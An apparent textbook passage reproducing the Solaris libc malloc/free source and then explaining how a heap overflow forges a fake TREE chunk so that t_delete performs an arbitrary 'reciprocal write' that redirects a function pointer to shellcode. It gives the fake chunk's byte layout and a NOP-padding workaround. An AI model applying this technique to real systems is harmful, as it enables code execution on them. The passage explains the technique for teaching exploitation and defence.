 *
 *   This algorithm is based on a  best fit strategy with lists of
 *   free elts maintained in a self-adjusting binary tree. Each list
 *   contains all elts of the same size. The tree is ordered by size.
 *   For results on self-adjusting trees, see the paper:
 *          Self-Adjusting Binary Trees,
 *          DD Sleator & RE Tarjan, JACM 1985.
 *
 *   The header of a block contains the size of the data part in bytes.
 *   Since the size of a block is 0%4, the low two bits of the header
 *   are free and used as follows:
 *
 *          BIT0:   1 for busy (block is in use), 0 for free.
 *          BIT1:   if the block is busy, this bit is 1 if the
 *                  preceding block in contiguous memory is free.
 *                  Otherwise, it is always 0.
 */
```

```
#include "synonyms.h"
#include <mtlib.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>
#include "mallint.h"

static TREE  *Root,         /* root of the free tree */
             *Bottom,       /* the last free chunk in the arena */
             *_morecore(size_t);  /* function to get more core */

static char  *Baddr;             /* current high address of the arena */
static char  *Lfree;        /* last freed block with data intact */

static void  t_delete(TREE *);
static void  t_splay(TREE *);
static void  realfree(void *);
static void  cleanfree(void *);
static void  *_malloc_unlocked(size_t);

#define      FREESIZE (1<<5) /* size for preserving free blocks until
next malloc */
#define     FREEMASK FREESIZE-1

static void *flist[FREESIZE];     /* list of blocks to be freed on next
malloc */
static int freeidx;         /* index of free blocks in flist % FREESIZE
*/

/*
 *   Allocation of small blocks
 */
static TREE  *List[MINSIZE/WORDSIZE-1]; /* lists of small blocks */

static void *
_smalloc(size_t size)
{
     TREE    *tp;
     size_t  i;

     ASSERT(size % WORDSIZE == 0);
     /* want to return a unique pointer on malloc(0) */
     if (size == 0)
            size = WORDSIZE;

     /* list to use */
     i = size / WORDSIZE - 1;

     if (List[i] == NULL) {
```

```
            TREE *np;
            int n;
            /* number of blocks to get at one time */
#define     NPS (WORDSIZE*8)
            ASSERT((size + WORDSIZE) * NPS >= MINSIZE);

            /* get NPS of these block types */
            if ((List[i] = _malloc_unlocked((size + WORDSIZE) * NPS)) ==
0)
                    return (0);

            /* make them into a link list */
            for (n = 0, np = List[i]; n < NPS; ++n) {
                    tp = np;
                    SIZE(tp) = size;
                    np = NEXT(tp);
                    AFTER(tp) = np;
            }
            AFTER(tp) = NULL;
     }

     /* allocate from the head of the queue */
     tp = List[i];
     List[i] = AFTER(tp);
     SETBIT0(SIZE(tp));
     return (DATA(tp));
}

void *
malloc(size_t size)
{
     void *ret;
     (void) _mutex_lock(&__malloc_lock);
     ret = _malloc_unlocked(size);
     (void) _mutex_unlock(&__malloc_lock);
     return (ret);
}

static void *
_malloc_unlocked(size_t size)
{
     size_t  n;
     TREE    *tp, *sp;
     size_t  o_bit1;

     COUNT(nmalloc);
     ASSERT(WORDSIZE == ALIGN);

     /* make sure that size is 0 mod ALIGN */
     ROUND(size);
```

```
/* see if the last free block can be used */
if (Lfree) {
        sp = BLOCK(Lfree);
        n = SIZE(sp);
        CLRBITS01(n);
        if (n == size) {
                /*
                 * exact match, use it as is
                 */
                freeidx = (freeidx + FREESIZE - 1) &
                        FREEMASK; /* 1 back */
                flist[freeidx] = Lfree = NULL;
                return (DATA(sp));
         } else if (size >= MINSIZE && n > size) {
                /*
                 * got a big enough piece
                 */
                freeidx = (freeidx + FREESIZE - 1) &
                         FREEMASK; /* 1 back */
                flist[freeidx] = Lfree = NULL;
                o_bit1 = SIZE(sp) & BIT1;
                SIZE(sp) = n;
                goto leftover;
         }
}
o_bit1 = 0;

/* perform free's of space since last malloc */
cleanfree(NULL);

/* small blocks */
if (size < MINSIZE)
        return (_smalloc(size));

/* search for an elt of the right size */
sp = NULL;
n  = 0;
if (Root) {
        tp = Root;
        while (1) {
                /* branch left */
                if (SIZE(tp) >= size) {
                        if (n == 0 || n >= SIZE(tp)) {
                                sp = tp;
                                n = SIZE(tp);
                        }
                        if (LEFT(tp))
                                tp = LEFT(tp);
```

```
                        else
                                break;
                    } else { /* branch right */
                        if (RIGHT(tp))
                                tp = RIGHT(tp);
                        else
                                break;
                    }
                }

                if (sp) {
                    t_delete(sp);
                } else if (tp != Root) {
                    /* make the searched-to element the root */
                    t_splay(tp);
                    Root = tp;
                }
            }

            /* if found none fitted in the tree */
        if (!sp) {
            if (Bottom && size <= SIZE(Bottom)) {
                sp = Bottom;
                CLRBITS01(SIZE(sp));
            } else if ((sp = _morecore(size)) == NULL) /* no more memory
*/
                return (NULL);
        }

        /* tell the forward neighbor that we're busy */
        CLRBIT1(SIZE(NEXT(sp)));

        ASSERT(ISBIT0(SIZE(NEXT(sp))));

    leftover:
        /* if the leftover is enough for a new free piece */
        if ((n = (SIZE(sp) - size)) >= MINSIZE + WORDSIZE) {
            n -= WORDSIZE;
            SIZE(sp) = size;
            tp = NEXT(sp);
            SIZE(tp) = n|BIT0;
            realfree(DATA(tp));
        } else if (BOTTOM(sp))
            Bottom = NULL;

        /* return the allocated space */
        SIZE(sp) |= BIT0 | o_bit1;
        return (DATA(sp));
    }
```

```
/*
 * realloc().
 *
 * If the block size is increasing, we try forward merging first.
 * This is not best-fit but it avoids some data recopying.
 */
void *
realloc(void *old, size_t size)
{
     TREE     *tp, *np;
     size_t     ts;
     char     *new;

     COUNT(nrealloc);

     /* pointer to the block */
     (void) _mutex_lock(&__malloc_lock);
     if (old == NULL) {
          new = _malloc_unlocked(size);
          (void) _mutex_unlock(&__malloc_lock);
          return (new);
     }

     /* perform free's of space since last malloc */
     cleanfree(old);

     /* make sure that size is 0 mod ALIGN */
     ROUND(size);

     tp = BLOCK(old);
     ts = SIZE(tp);

     /* if the block was freed, data has been destroyed. */
     if (!ISBIT0(ts)) {
          (void) _mutex_unlock(&__malloc_lock);
          return (NULL);
     }

     /* nothing to do */
     CLRBITS01(SIZE(tp));
     if (size == SIZE(tp)) {
          SIZE(tp) = ts;
          (void) _mutex_unlock(&__malloc_lock);
          return (old);
     }

     /* special cases involving small blocks */
     if (size < MINSIZE || SIZE(tp) < MINSIZE)
          goto call_malloc;
```

```
     /* block is increasing in size, try merging the next block */
     if (size > SIZE(tp)) {
          np = NEXT(tp);
          if (!ISBIT0(SIZE(np))) {
               ASSERT(SIZE(np) >= MINSIZE);
               ASSERT(!ISBIT1(SIZE(np)));
               SIZE(tp) += SIZE(np) + WORDSIZE;
               if (np != Bottom)
                    t_delete(np);
               else
                    Bottom = NULL;
               CLRBIT1(SIZE(NEXT(np)));
          }

#ifndef SEGMENTED
          /* not enough & at TRUE end of memory, try extending core */
          if (size > SIZE(tp) && BOTTOM(tp) && GETCORE(0) == Baddr) {
               Bottom = tp;
               if ((tp = _morecore(size)) == NULL) {
                    tp = Bottom;
                    Bottom = NULL;
                    }
          }
#endif
     }

     /* got enough space to use */
     if (size <= SIZE(tp)) {
          size_t n;

chop_big:
          if ((n = (SIZE(tp) - size)) >= MINSIZE + WORDSIZE) {
               n -= WORDSIZE;
               SIZE(tp) = size;
               np = NEXT(tp);
               SIZE(np) = n|BIT0;
               realfree(DATA(np));
          } else if (BOTTOM(tp))
               Bottom = NULL;

          /* the previous block may be free */
          SETOLD01(SIZE(tp), ts);
          (void) _mutex_unlock(&__malloc_lock);
          return (old);
     }

     /* call malloc to get a new block */
call_malloc:
     SETOLD01(SIZE(tp), ts);
```

```
if ((new = _malloc_unlocked(size)) != NULL) {
     CLRBITS01(ts);
     if (ts > size)
          ts = size;
     MEMCOPY(new, old, ts);
     _free_unlocked(old);
     (void) _mutex_unlock(&__malloc_lock);
     return (new);
}

/*
 * Attempt special case recovery allocations since malloc() failed:
 *
 * 1. size <= SIZE(tp) < MINSIZE
 *     Simply return the existing block
 * 2. SIZE(tp) < size < MINSIZE
 *     malloc() may have failed to allocate the chunk of
 *     small blocks. Try asking for MINSIZE bytes.
 * 3. size < MINSIZE <= SIZE(tp)
 *     malloc() may have failed as with 2.  Change to
 *     MINSIZE allocation which is taken from the beginning
 *     of the current block.
 * 4. MINSIZE <= SIZE(tp) < size
 *     If the previous block is free and the combination of
 *     these two blocks has at least size bytes, then merge
 *     the two blocks copying the existing contents backwards.
 */
CLRBITS01(SIZE(tp));
if (SIZE(tp) < MINSIZE) {
     if (size < SIZE(tp)) {               /* case 1. */
          SETOLD01(SIZE(tp), ts);
          (void) _mutex_unlock(&__malloc_lock);
          return (old);
     } else if (size < MINSIZE) {          /* case 2. */
          size = MINSIZE;
          goto call_malloc;
     }
} else if (size < MINSIZE) {               /* case 3. */
     size = MINSIZE;
     goto chop_big;
} else if (ISBIT1(ts) &&
    (SIZE(np = LAST(tp)) + SIZE(tp) + WORDSIZE) >= size) {
     ASSERT(!ISBIT0(SIZE(np)));
     t_delete(np);
     SIZE(np) += SIZE(tp) + WORDSIZE;
     /*
      * Since the copy may overlap, use memmove() if available.
      * Otherwise, copy by hand.
      */
     (void) memmove(DATA(np), old, SIZE(tp));
     old = DATA(np);
```

```
          tp = np;
          CLRBIT1(ts);
          goto chop_big;
     }
     SETOLD01(SIZE(tp), ts);
     (void) _mutex_unlock(&__malloc_lock);
     return (NULL);
}


/*
 * realfree().
 *
 * Coalescing of adjacent free blocks is done first.
 * Then, the new free block is leaf-inserted into the free tree
 * without splaying. This strategy does not guarantee the amortized
 * O(nlogn) behavior for the insert/delete/find set of operations
 * on the tree. In practice, however, free is much more infrequent
 * than malloc/realloc and the tree searches performed by these
 * functions adequately keep the tree in balance.
 */
static void
realfree(void *old)
{
     TREE     *tp, *sp, *np;
     size_t     ts, size;

     COUNT(nfree);

     /* pointer to the block */
     tp = BLOCK(old);
     ts = SIZE(tp);
     if (!ISBIT0(ts))
          return;
     CLRBITS01(SIZE(tp));

     /* small block, put it in the right linked list */
     if (SIZE(tp) < MINSIZE) {
          ASSERT(SIZE(tp) / WORDSIZE >= 1);
          ts = SIZE(tp) / WORDSIZE - 1;
          AFTER(tp) = List[ts];
          List[ts] = tp;
          return;
     }

     /* see if coalescing with next block is warranted */
     np = NEXT(tp);
     if (!ISBIT0(SIZE(np))) {
          if (np != Bottom)
               t_delete(np);
          SIZE(tp) += SIZE(np) + WORDSIZE;
     }
```

```
/* the same with the preceding block */
if (ISBIT1(ts)) {
     np = LAST(tp);
     ASSERT(!ISBIT0(SIZE(np)));
     ASSERT(np != Bottom);
     t_delete(np);
     SIZE(np) += SIZE(tp) + WORDSIZE;
     tp = np;
}

/* initialize tree info */
PARENT(tp) = LEFT(tp) = RIGHT(tp) = LINKFOR(tp) = NULL;

/* the last word of the block contains self's address */
*(SELFP(tp)) = tp;

/* set bottom block, or insert in the free tree */
if (BOTTOM(tp))
     Bottom = tp;
else {
     /* search for the place to insert */
     if (Root) {
          size = SIZE(tp);
          np = Root;
          while (1) {
               if (SIZE(np) > size) {
                    if (LEFT(np))
                         np = LEFT(np);
                    else {
                         LEFT(np) = tp;
                         PARENT(tp) = np;
                         break;
                    }
               } else if (SIZE(np) < size) {
                    if (RIGHT(np))
                         np = RIGHT(np);
                    else {
                         RIGHT(np) = tp;
                         PARENT(tp) = np;
                         break;
                    }
               } else {
                    if ((sp = PARENT(np)) != NULL) {
                         if (np == LEFT(sp))
                              LEFT(sp) = tp;
                         else
                              RIGHT(sp) = tp;
                         PARENT(tp) = sp;
                    } else
                         Root = tp;
```

```
                        /* insert to head of list */
                        if ((sp = LEFT(np)) != NULL)
                             PARENT(sp) = tp;
                        LEFT(tp) = sp;

                        if ((sp = RIGHT(np)) != NULL)
                             PARENT(sp) = tp;
                        RIGHT(tp) = sp;

                        /* doubly link list */
                        LINKFOR(tp) = np;
                        LINKBAK(np) = tp;
                        SETNOTREE(np);

                        break;
                   }
              }
         } else
              Root = tp;
    }

    /* tell next block that this one is free */
    SETBIT1(SIZE(NEXT(tp)));

    ASSERT(ISBIT0(SIZE(NEXT(tp))));
}

/*
 * Get more core. Gaps in memory are noted as busy blocks.
 */
static TREE *
_morecore(size_t size)
{
    TREE     *tp;
    size_t     n, offset;
    char     *addr;
    size_t     nsize;

    /* compute new amount of memory to get */
    tp = Bottom;
    n = size + 2 * WORDSIZE;
    addr = GETCORE(0);

    if (addr == ERRCORE)
         return (NULL);

    /* need to pad size out so that addr is aligned */
    if ((((size_t)addr) % ALIGN) != 0)
         offset = ALIGN - (size_t)addr % ALIGN;
    else
         offset = 0;
```

```
#ifndef SEGMENTED
     /* if not segmented memory, what we need may be smaller */
     if (addr == Baddr) {
          n -= WORDSIZE;
          if (tp != NULL)
               n -= SIZE(tp);
     }
#endif

     /* get a multiple of CORESIZE */
     n = ((n - 1) / CORESIZE + 1) * CORESIZE;
     nsize = n + offset;

     if (nsize == ULONG_MAX)
          return (NULL);

     if (nsize <= LONG_MAX) {
          if (GETCORE(nsize) == ERRCORE)
               return (NULL);
     } else {
          intptr_t     delta;
          /*
           * the value required is too big for GETCORE() to deal with
           * in one go, so use GETCORE() at most 2 times instead.
           */
          delta = LONG_MAX;
          while (delta > 0) {
               if (GETCORE(delta) == ERRCORE) {
                    if (addr != GETCORE(0))
                         (void) GETCORE(-LONG_MAX);
                    return (NULL);
               }
               nsize -= LONG_MAX;
               delta = nsize;
          }
     }

     /* contiguous memory */
     if (addr == Baddr) {
          ASSERT(offset == 0);
          if (tp) {
               addr = (char *)tp;
               n += SIZE(tp) + 2 * WORDSIZE;
          } else {
               addr = Baddr - WORDSIZE;
               n += WORDSIZE;
          }
     } else
          addr += offset;
```

```
     /* new bottom address */
     Baddr = addr + n;

     /* new bottom block */
     tp = (TREE *)addr;
     SIZE(tp) = n - 2 * WORDSIZE;
     ASSERT((SIZE(tp) % ALIGN) == 0);

     /* reserved the last word to head any noncontiguous memory */
     SETBIT0(SIZE(NEXT(tp)));

     /* non-contiguous memory, free old bottom block */
     if (Bottom && Bottom != tp) {
          SETBIT0(SIZE(Bottom));
          realfree(DATA(Bottom));
     }

     return (tp);
}


/*
 * Tree rotation functions (BU: bottom-up, TD: top-down)
 */

#define     LEFT1(x, y)          \
               if ((RIGHT(x) = LEFT(y)) != NULL) PARENT(RIGHT(x)) = x;\
               if ((PARENT(y) = PARENT(x)) != NULL)\
                    if (LEFT(PARENT(x)) == x) LEFT(PARENT(y)) = y;\
                    else RIGHT(PARENT(y)) = y;\
               LEFT(y) = x; PARENT(x) = y

#define     RIGHT1(x, y)          \
               if ((LEFT(x) = RIGHT(y)) != NULL) PARENT(LEFT(x)) = x;\
               if ((PARENT(y) = PARENT(x)) != NULL)\
                    if (LEFT(PARENT(x)) == x) LEFT(PARENT(y)) = y;\
                    else RIGHT(PARENT(y)) = y;\
               RIGHT(y) = x; PARENT(x) = y

#define     BULEFT2(x, y, z)     \
               if ((RIGHT(x) = LEFT(y)) != NULL) PARENT(RIGHT(x)) = x;\
               if ((RIGHT(y) = LEFT(z)) != NULL) PARENT(RIGHT(y)) = y;\
               if ((PARENT(z) = PARENT(x)) != NULL)\
                    if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\
                    else RIGHT(PARENT(z)) = z;\
               LEFT(z) = y; PARENT(y) = z; LEFT(y) = x; PARENT(x) = y

#define     BURIGHT2(x, y, z)     \
               if ((LEFT(x) = RIGHT(y)) != NULL) PARENT(LEFT(x)) = x;\
```

```
                if ((LEFT(y) = RIGHT(z)) != NULL) PARENT(LEFT(y)) = y;\
                if ((PARENT(z) = PARENT(x)) != NULL)\
                     if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\
                     else RIGHT(PARENT(z)) = z;\
                RIGHT(z) = y; PARENT(y) = z; RIGHT(y) = x; PARENT(x) = y

#define     TDLEFT2(x, y, z)     \
                if ((RIGHT(y) = LEFT(z)) != NULL) PARENT(RIGHT(y)) = y;\
                if ((PARENT(z) = PARENT(x)) != NULL)\
                     if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\
                     else RIGHT(PARENT(z)) = z;\
                PARENT(x) = z; LEFT(z) = x;

#define     TDRIGHT2(x, y, z)     \
                if ((LEFT(y) = RIGHT(z)) != NULL) PARENT(LEFT(y)) = y;\
                if ((PARENT(z) = PARENT(x)) != NULL)\
                     if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\
                     else RIGHT(PARENT(z)) = z;\
                PARENT(x) = z; RIGHT(z) = x;

/*
 * Delete a tree element
 */
static void
t_delete(TREE *op)
{
     TREE     *tp, *sp, *gp;

     /* if this is a non-tree node */
     if (ISNOTREE(op)) {
          tp = LINKBAK(op);
          if ((sp = LINKFOR(op)) != NULL)
               LINKBAK(sp) = tp;
          LINKFOR(tp) = sp;
          return;
     }

     /* make op the root of the tree */
     if (PARENT(op))
          t_splay(op);

     /* if this is the start of a list */
     if ((tp = LINKFOR(op)) != NULL) {
          PARENT(tp) = NULL;
          if ((sp = LEFT(op)) != NULL)
               PARENT(sp) = tp;
          LEFT(tp) = sp;
```

```
          if ((sp = RIGHT(op)) != NULL)
               PARENT(sp) = tp;
          RIGHT(tp) = sp;

          Root = tp;
          return;
     }

     /* if op has a non-null left subtree */
     if ((tp = LEFT(op)) != NULL) {
          PARENT(tp) = NULL;

          if (RIGHT(op)) {
               /* make the right-end of the left subtree its root */
               while ((sp = RIGHT(tp)) != NULL) {
                    if ((gp = RIGHT(sp)) != NULL) {
                         TDLEFT2(tp, sp, gp);
                         tp = gp;
                    } else {
                         LEFT1(tp, sp);
                         tp = sp;
                    }
               }

               /* hook the right subtree of op to the above elt */
               RIGHT(tp) = RIGHT(op);
               PARENT(RIGHT(tp)) = tp;
          }
     } else if ((tp = RIGHT(op)) != NULL)     /* no left subtree */
          PARENT(tp) = NULL;

     Root = tp;
}

/*
 * Bottom up splaying (simple version).
 * The basic idea is to roughly cut in half the
 * path from Root to tp and make tp the new root.
 */
static void
t_splay(TREE *tp)
{
     TREE     *pp, *gp;

     /* iterate until tp is the root */
     while ((pp = PARENT(tp)) != NULL) {
          /* grandparent of tp */
          gp = PARENT(pp);

          /* x is a left child */
```

```
          if (LEFT(pp) == tp) {
               if (gp && LEFT(gp) == pp) {
                    BURIGHT2(gp, pp, tp);
               } else {
                    RIGHT1(pp, tp);
               }
          } else {
               ASSERT(RIGHT(pp) == tp);
               if (gp && RIGHT(gp) == pp) {
                    BULEFT2(gp, pp, tp);
               } else {
                    LEFT1(pp, tp);
               }
          }
     }
}


/*
 *     free().
 *     Performs a delayed free of the block pointed to
 *     by old. The pointer to old is saved on a list, flist,
 *     until the next malloc or realloc. At that time, all the
 *     blocks pointed to in flist are actually freed via
 *     realfree(). This allows the contents of free blocks to
 *     remain undisturbed until the next malloc or realloc.
 */
void
free(void *old)
{
     (void) _mutex_lock(&__malloc_lock);
     _free_unlocked(old);
     (void) _mutex_unlock(&__malloc_lock);
}


void
_free_unlocked(void *old)
{
     int     i;

     if (old == NULL)
          return;

     /*
      * Make sure the same data block is not freed twice.
      * 3 cases are checked.  It returns immediately if either
      * one of the conditions is true.
      *     1. Last freed.
      *     2. Not in use or freed already.
      *     3. In the free list.
      */
```

```
     if (old == Lfree)
          return;
     if (!ISBIT0(SIZE(BLOCK(old))))
          return;
     for (i = 0; i < freeidx; i++)
          if (old == flist[i])
               return;

     if (flist[freeidx] != NULL)
          realfree(flist[freeidx]);
     flist[freeidx] = Lfree = old;
     freeidx = (freeidx + 1) & FREEMASK; /* one forward */
}

/*
 * cleanfree() frees all the blocks pointed to be flist.
 *
 * realloc() should work if it is called with a pointer
 * to a block that was freed since the last call to malloc() or
 * realloc(). If cleanfree() is called from realloc(), ptr
 * is set to the old block and that block should not be
 * freed since it is actually being reallocated.
 */
static void
cleanfree(void *ptr)
{
     char     **flp;

     flp = (char **)&(flist[freeidx]);
     for (;;) {
          if (flp == (char **)&(flist[0]))
               flp = (char **)&(flist[FREESIZE]);
          if (*--flp == NULL)
               break;
          if (*flp != ptr)
               realfree(*flp);
          *flp = NULL;
     }
     freeidx = 0;
     Lfree = NULL;
}


/*     Copyright (c) 1988 AT&T     */
/*       All Rights Reserved       */

/*     THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T     */
/*     The copyright notice above does not evidence any        */
/*     actual or intended publication of such source code.     */
```

```
/*
 * Copyright (c) 1996-1997 by Sun Microsystems, Inc.
 * All rights reserved.
 */

#pragma     ident     "@(#)mallint.h     1.11     97/12/02 SMI"     /*
SVr4.0 1.2     */

#include <sys/isa_defs.h>
#include <stdlib.h>
#include <memory.h>
#include <thread.h>
#include <synch.h>
#include <mtlib.h>

/* debugging macros */
#ifdef     DEBUG
#define     ASSERT(p)     ((void) ((p) || (abort(), 0)))
#define     COUNT(n)     ((void) n++)
static int          nmalloc, nrealloc, nfree;
#else
#define     ASSERT(p)     ((void)0)
#define     COUNT(n)     ((void)0)
#endif /* DEBUG */

/* function to copy data from one area to another */
#define     MEMCOPY(to, fr, n)     ((void) memcpy(to, fr, n))

/* for conveniences */
#ifndef NULL
#define     NULL          (0)
#endif

#define     reg          register
#define     WORDSIZE     (sizeof (WORD))
#define     MINSIZE          (sizeof (TREE) - sizeof (WORD))
#define     ROUND(s)     if (s % WORDSIZE) s += (WORDSIZE - (s % WORDSIZE))

#ifdef     DEBUG32
/*
 * The following definitions ease debugging
 * on a machine in which sizeof(pointer) == sizeof(int) == 4.
 * These definitions are not portable.
 *
 * Alignment (ALIGN) changed to 8 for SPARC ldd/std.
*/
#define     ALIGN     8
typedef int     WORD;
typedef struct _t_ {
     size_t          t_s;
```

```
     struct _t_     *t_p;
     struct _t_     *t_l;
     struct _t_     *t_r;
     struct _t_     *t_n;
     struct _t_     *t_d;
} TREE;
#define     SIZE(b)          ((b)->t_s)
#define     AFTER(b)     ((b)->t_p)
#define     PARENT(b)     ((b)->t_p)
#define     LEFT(b)          ((b)->t_l)
#define     RIGHT(b)     ((b)->t_r)
#define     LINKFOR(b)     ((b)->t_n)
#define     LINKBAK(b)     ((b)->t_p)

#else     /* !DEBUG32 */
/*
 * All of our allocations will be aligned on the least multiple of 4,
 * at least, so the two low order bits are guaranteed to be available.
 */
#ifdef _LP64
#define     ALIGN          16
#else
#define     ALIGN          8
#endif

/* the proto-word; size must be ALIGN bytes */
typedef union _w_ {
     size_t          w_i;          /* an unsigned int */
     struct _t_     *w_p;          /* a pointer */
     char          w_a[ALIGN];     /* to force size */
} WORD;

/* structure of a node in the free tree */
typedef struct _t_ {
     WORD     t_s;     /* size of this element */
     WORD     t_p;     /* parent node */
     WORD     t_l;     /* left child */
     WORD     t_r;     /* right child */
     WORD     t_n;     /* next in link list */
     WORD     t_d;     /* dummy to reserve space for self-pointer */
} TREE;

/* usable # of bytes in the block */
#define     SIZE(b)          (((b)->t_s).w_i)

/* free tree pointers */
#define     PARENT(b)     (((b)->t_p).w_p)
#define     LEFT(b)          (((b)->t_l).w_p)
#define     RIGHT(b)     (((b)->t_r).w_p)
```

```
/* forward link in lists of small blocks */
#define     AFTER(b)     (((b)->t_p).w_p)

/* forward and backward links for lists in the tree */
#define     LINKFOR(b)     (((b)->t_n).w_p)
#define     LINKBAK(b)     (((b)->t_p).w_p)

#endif     /* DEBUG32 */

/* set/test indicator if a block is in the tree or in a list */
#define     SETNOTREE(b)     (LEFT(b) = (TREE *)(-1))
#define     ISNOTREE(b)     (LEFT(b) == (TREE *)(-1))

/* functions to get information on a block */
#define     DATA(b)          (((char *)(b)) + WORDSIZE)
#define     BLOCK(d)     ((TREE *)(((char *)(d)) - WORDSIZE))
#define     SELFP(b)     ((TREE **)(((char *)(b)) + SIZE(b)))
#define     LAST(b)          (*((TREE **)(((char *)(b)) - WORDSIZE)))
#define     NEXT(b)          ((TREE *)(((char *)(b)) + SIZE(b) +
WORDSIZE))
#define     BOTTOM(b)     ((DATA(b) + SIZE(b) + WORDSIZE) == Baddr)

/* functions to set and test the lowest two bits of a word */
#define     BIT0          (01)          /* ...001 */
#define     BIT1          (02)          /* ...010 */
#define     BITS01          (03)          /* ...011 */
#define     ISBIT0(w)     ((w) & BIT0)     /* Is busy? */
#define     ISBIT1(w)     ((w) & BIT1)     /* Is the preceding free? */
#define     SETBIT0(w)     ((w) |= BIT0)     /* Block is busy */
#define     SETBIT1(w)     ((w) |= BIT1)     /* The preceding is free */
#define     CLRBIT0(w)     ((w) &= ~BIT0)     /* Clean bit0 */
#define     CLRBIT1(w)     ((w) &= ~BIT1)     /* Clean bit1 */
#define     SETBITS01(w)     ((w) |= BITS01)     /* Set bits 0 & 1 */
#define     CLRBITS01(w)     ((w) &= ~BITS01) /* Clean bits 0 & 1 */
#define     SETOLD01(n, o)     ((n) |= (BITS01 & (o)))

/* system call to get more core */
#define     GETCORE          sbrk
#define     ERRCORE          ((void *)(-1))
#define     CORESIZE     (1024*ALIGN)

extern void     *GETCORE(size_t);
extern void     _free_unlocked(void *);

#ifdef _REENTRANT
extern mutex_t __malloc_lock;
#endif /* _REENTRANT */
```

The basic element of the TREE structure is defined as a WORD, having the following definition:

```
/* the proto-word; size must be ALIGN bytes */
typedef union _w_ {
     size_t          w_i;          /* an unsigned int */
     struct _t_     *w_p;          /* a pointer */
     char           w_a[ALIGN];    /* to force size */
} WORD;
```

ALIGN is defined to be 8 for the 32-bit version of libc, giving the union a total size of 8 bytes.

The structure of a node in the free tree is defined as follows:

```
typedef struct _t_ {
     WORD     t_s;     /* size of this element */
     WORD     t_p;     /* parent node */
     WORD     t_l;     /* left child */
     WORD     t_r;     /* right child */
     WORD     t_n;     /* next in link list */
     WORD     t_d;     /* dummy to reserve space for self-pointer */
} TREE;
```

This structure is composed of six WORD elements, and therefore has a size of 48 bytes. This ends up being the minimum size for any true heap chunk, including the basic header.

Basic Exploit Methodology (t_delete)

Traditional heap overflow exploit methodology on Solaris is based on chunk consolidation. By overflowing outside the bounds of the current chunk, the header of the next chunk in memory is corrupted. When the corrupted chunk is processed by heap management routines, an arbitrary memory overwrite is achieved that eventually leads to shellcode execution.

The overflow results in the size of the next chunk being changed. If it is overwritten with an appropriate negative value, the next chunk will be found farther back in the overflow string. This is useful because a negative chunk size does not contain any null bytes, and can be copied by string library functions. A TREE structure can be constructed farther back in the overflow string. This can function as a fake chunk with which the corrupted chunk will be consolidated.

The simplest construction for this fake chunk is that which causes the function t_delete() to be called. This methodology was first outlined in the article

in *Phrack* #57 entitled "Once Upon a free()" (August 11, 2001). The following code snippets can be found within `malloc.c` and `mallint.h`.

Within `realfree()`:

```
/* see if coalescing with next block is warranted */
np = NEXT(tp);
if (!ISBIT0(SIZE(np))) {
     if (np != Bottom)
          t_delete(np);
```

And the function `t_delete()`:

```
/*
 * Delete a tree element
 */
static void
t_delete(TREE *op)
{
     TREE     *tp, *sp, *gp;

     /* if this is a non-tree node */
     if (ISNOTREE(op)) {
          tp = LINKBAK(op);
          if ((sp = LINKFOR(op)) != NULL)
               LINKBAK(sp) = tp;
          LINKFOR(tp) = sp;
          return;
     }
```

Some relevant macros are defined as:

```
#define     SIZE(b)      (((b)->t_s).w_i)
#define     PARENT(b)      (((b)->t_p).w_p)
#define     LEFT(b)      (((b)->t_l).w_p)
#define     RIGHT(b)      (((b)->t_r).w_p)
#define     LINKFOR(b)      (((b)->t_n).w_p)
#define     LINKBAK(b)      (((b)->t_p).w_p)
#define     ISNOTREE(b)      (LEFT(b) == (TREE *)(-1))
```

As can be seen in the code, a `TREE op` structure is passed to `t_delete()`. This structure `op` is the fake chunk constructed and pointed to by the overflow. If `ISNOTREE()` is true, then two pointers `tp` and `sp` will be taken from the fake `TREE` structure `op`. These pointers are completely controlled by the attacker, and are `TREE` structure pointers. A field of each is set to a pointer to the other `TREE` structure.

The `LINKFOR` macro refers to the `t_n` field within the `TREE` structure, which is located at an offset 32 bytes into the structure, while the `LINKBAK` macro refers to the `t_p` field located 8 bytes into the structure. `ISNOTREE` is true if the

t_l field of the TREE structure is -1, and this field is located 16 bytes into the structure.

While this may seem slightly confusing, the ultimate result of the preceding code is the following:

1. If the t_l field of the TREE op is equal to –1, the resulting steps occur. This field is at an offset 16 bytes into the structure.
2. The TREE pointer tp is initialized via the LINKBAK macro, which takes the t_p field from op. This field is at an offset 8 bytes into the structure.
3. The TREE pointer sp is initialized via the LINKFOR macro, which takes the t_n field from op. This field is at an offset 32 bytes into the structure.
4. The t_p field of sp is set to the pointer tp via the macro LINKBAK. This field is located at an offset 8 bytes into the structure.
5. The t_n field of tp is set to the pointer sp via the macro LINKFOR. This field is located at an offset 32 bytes into the structure.

Steps 4 and 5 are the most interesting in this procedure, and may result in an arbitrary value being written to an arbitrary address in what is best described as a reciprocal write situation. This operation is analogous to removing an entry in the middle of a doubly linked list and re-linking the adjacent members. The TREE structure construction that can achieve this looks like Table 10-9.

Table 10-9: Required TREE Structure for a Reciprocal Write

FF FF FF F8	AA AA AA AA	TP TP TP TP	AA AA AA AA
FF FF FF FF	AA AA AA AA	AA AA AA AA	AA AA AA AA
SP SP SP SP	AA AA AA AA	AA AA AA AA	AA AA AA AA

The preceding TREE construction will result in the value of tp being written to sp plus 8 bytes, as well as the value of sp being written to tp plus 32 bytes. For example, sp might point at a function pointer location minus 7 bytes, and tp might point at a location containing an NOP sled and shellcode. When the code within t_delete is executed, the function pointer will be overwritten with the value of tp, which points to the shellcode. However, a value 32 bytes into the shellcode will also be overwritten with the value of sp.

The value 16 bytes into the tree structure of FF FF FF FF is the -1 needed to indicate that this structure is not part of a tree. The value at offset zero of FF FF FF F8 is the chunk size. It is convenient to make this value negative to avoid null bytes; however, it can be any realistic chunk size provided that the lowest two bits are not set. If the first bit is set, it would indicate that the chunk was in

use and not suitable for consolidation. The second bit should also be clear to avoid consolidation with a previous chunk. All bytes indicated by `AA` are filler and can be any value.

Standard Heap Overflow Limitations

We previously touched on the first limitation of the non-tree deletion heap overflow mechanism. A 4-byte value at a predictable offset into the shellcode is corrupted in the `free` operation. A practical solution is to use `NOP` padding that consists of branch operations that jump ahead a fixed distance. This can be used to jump past the corruption that occurs with the reciprocal write, and continue to execute shellcode as normal.

